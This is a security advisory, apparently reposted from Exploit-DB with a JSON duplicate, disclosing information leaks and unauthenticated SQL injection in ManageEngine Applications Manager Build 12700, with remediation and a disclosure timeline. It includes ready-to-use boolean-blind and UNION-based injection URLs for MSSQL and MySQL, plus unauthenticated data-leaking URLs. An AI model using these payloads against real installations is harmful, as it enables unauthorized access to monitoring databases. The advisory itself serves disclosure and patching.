Search...

ManageEngine Applications Manager Build 12700 - Multiple Vulnerabilities

2016-05-06T00:00:00

ID EDB-ID:39780
Type exploitdb
Reporter Saif El-Sherei
Modified 2016-05-06T00:00:00

Description

ManageEngine Applications Manager Build 12700 - Multiple Vulnerabilities. Webapps exploit for jsp platform

                                        
                                            [SPSA-2016-02/ManageEngine ApplicationsManager]------------------------------

SECURITY ADVISORY:   SPSA-2016-02/ManageEngine Applications Manager Build No: 12700

Affected Software:   ManageEngine Applications Manager Build No: 12700
Vulnerability:       Information Disclosure and Un-Authenticated SQL
injection.
CVSSv3:              9.3
Severity:            Critical
Release Date:        2016-05-05

I. Background
~~~~~~~~~~~~~	   	

ManageEngine Applications Manager is an Application Performance Monitoring across physical, virtual and cloud environments.


II. Description
~~~~~~~~~~~~~~~

For details about the fix please visit https://www.manageengine.com/products/applications_manager/release-notes.html

Information Disclosure:
~~~~~~~~~~~~~~~~~~~~~~~

Some scripts were accessible without authentication, which allowed public access to sensitive data such as licensing information and Monitored Server Details like name IP and maintenance schedule.

POC
~~~

License Information:
https://ManageEngineHost/jsp/About.jsp?context=/CAMGlobalReports.do?method=disableReports 

List of Maintenance tasks:
https://ManageEngineHost/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv

Details of Maintenance tasks with details about monitored server:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=2&edit=true&readonly=false

SQL Injection:
~~~~~~~~~~~~~~

The downTimeScheduler.do script is vulnerable to a Boolean based blind, and Union based SQL injection, that allows complete unauthorized access to the back-end database, according to the level of privileges of the application database user.

Vulnerable URL:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
Vulnerable Parameter: GET parameter taskid

PoC:
~~~~

Boolean Based Blind SQL Injection PoC: 

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
and 1=1  (True)

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
and 1=2  (False)

The following will include the Database Name in the Schedule Details
Description text box:

Union-Based SQL Injection PoC: Number of Columns 15, ORDER BY was
usable.

MSSQL: During our testing, the payload needed to be URL Encoded.

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28113%29%2BISNULL%28CAST%28%28SELECT%20DB_NAME%28%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--

MYSQL: During our testing, the payload did not need URL Encoding.

https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15%20--


III. Impact
~~~~~~~~~~~

Information Disclosure Impact:

An attacker might make use of the intelligence gathered through information leakages such as these for further attacks against the application, and its underlying infrastructure

Un-Authenticated SQL Injection Impact:

Access to sensitive information, stored in the application Database server, depending on the privileges of the application's database user. 


IV. Remediation
~~~~~~~~~~~~~~~

Apply Vendor supplied patch build #12710, details are available at
https://www.manageengine.com/products/applications_manager/release-notes.html

V. Disclosure
~~~~~~~~~~~~~

Reported By: Saif El-Sherei, @saif_sherei, saif@sensepost.com

Discovery Date:         2016-02-29
Vendor Informed:        2016-03-04
Advisory Release Date:  2016-05-05
Patch Release Date:     2016-04-28
Advisory Updated:    	2016-05-05


---------------------------------[SPSA-2016-02/ManageEngine ApplicationsManager]---

JSON Vulners Source

Initial Source

{"id": "EDB-ID:39780", "type": "exploitdb", "bulletinFamily": "exploit", "title": "ManageEngine Applications Manager Build 12700 - Multiple Vulnerabilities", "description": "ManageEngine Applications Manager Build 12700 - Multiple Vulnerabilities. Webapps exploit for jsp platform", "published": "2016-05-06T00:00:00", "modified": "2016-05-06T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://www.exploit-db.com/exploits/39780/", "reporter": "Saif El-Sherei", "references": [], "cvelist": [], "lastseen": "2016-05-06T17:29:16", "viewCount": 3, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-05-06T17:29:16", "rev": 2}, "dependencies": {"references": [], "modified": "2016-05-06T17:29:16", "rev": 2}, "vulnersScore": -0.2}, "sourceHref": "https://www.exploit-db.com/download/39780/", "sourceData": "[SPSA-2016-02/ManageEngine ApplicationsManager]------------------------------\r\n\r\nSECURITY ADVISORY: SPSA-2016-02/ManageEngine Applications Manager Build No: 12700\r\n\r\nAffected Software: ManageEngine Applications Manager Build No: 12700\r\nVulnerability: Information Disclosure and Un-Authenticated SQL\r\ninjection.\r\nCVSSv3: 9.3\r\nSeverity: Critical\r\nRelease Date: 2016-05-05\r\n\r\nI. Background\r\n~~~~~~~~~~~~~\t \t\r\n\r\nManageEngine Applications Manager is an Application Performance Monitoring across physical, virtual and cloud environments.\r\n\r\n\r\nII. Description\r\n~~~~~~~~~~~~~~~\r\n\r\nFor details about the fix please visit https://www.manageengine.com/products/applications_manager/release-notes.html\r\n\r\nInformation Disclosure:\r\n~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nSome scripts were accessible without authentication, which allowed public access to sensitive data such as licensing information and Monitored Server Details like name IP and maintenance schedule.\r\n\r\nPOC\r\n~~~\r\n\r\nLicense Information:\r\nhttps://ManageEngineHost/jsp/About.jsp?context=/CAMGlobalReports.do?method=disableReports \r\n\r\nList of Maintenance tasks:\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv\r\n\r\nDetails of Maintenance tasks with details about monitored server:\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=2&edit=true&readonly=false\r\n\r\nSQL Injection:\r\n~~~~~~~~~~~~~~\r\n\r\nThe downTimeScheduler.do script is vulnerable to a Boolean based blind, and Union based SQL injection, that allows complete unauthorized access to the back-end database, according to the level of privileges of the application database user.\r\n\r\nVulnerable URL:\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1\r\nVulnerable Parameter: GET parameter taskid\r\n\r\nPoC:\r\n~~~~\r\n\r\nBoolean Based Blind SQL Injection PoC: \r\n\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1\r\nand 1=1 (True)\r\n\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1\r\nand 1=2 (False)\r\n\r\nThe following will include the Database Name in the Schedule Details\r\nDescription text box:\r\n\r\nUnion-Based SQL Injection PoC: Number of Columns 15, ORDER BY was\r\nusable.\r\n\r\nMSSQL: During our testing, the payload needed to be URL Encoded.\r\n\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28113%29%2BISNULL%28CAST%28%28SELECT%20DB_NAME%28%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--\r\n\r\nMYSQL: During our testing, the payload did not need URL Encoding.\r\n\r\nhttps://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15%20--\r\n\r\n\r\nIII. Impact\r\n~~~~~~~~~~~\r\n\r\nInformation Disclosure Impact:\r\n\r\nAn attacker might make use of the intelligence gathered through information leakages such as these for further attacks against the application, and its underlying infrastructure\r\n\r\nUn-Authenticated SQL Injection Impact:\r\n\r\nAccess to sensitive information, stored in the application Database server, depending on the privileges of the application's database user. \r\n\r\n\r\nIV. Remediation\r\n~~~~~~~~~~~~~~~\r\n\r\nApply Vendor supplied patch build #12710, details are available at\r\nhttps://www.manageengine.com/products/applications_manager/release-notes.html\r\n\r\nV. Disclosure\r\n~~~~~~~~~~~~~\r\n\r\nReported By: Saif El-Sherei, @saif_sherei, saif@sensepost.com\r\n\r\nDiscovery Date: 2016-02-29\r\nVendor Informed: 2016-03-04\r\nAdvisory Release Date: 2016-05-05\r\nPatch Release Date: 2016-04-28\r\nAdvisory Updated: \t2016-05-05\r\n\r\n\r\n---------------------------------[SPSA-2016-02/ManageEngine ApplicationsManager]---\r\n", "osvdbidlist": [], "immutableFields": []}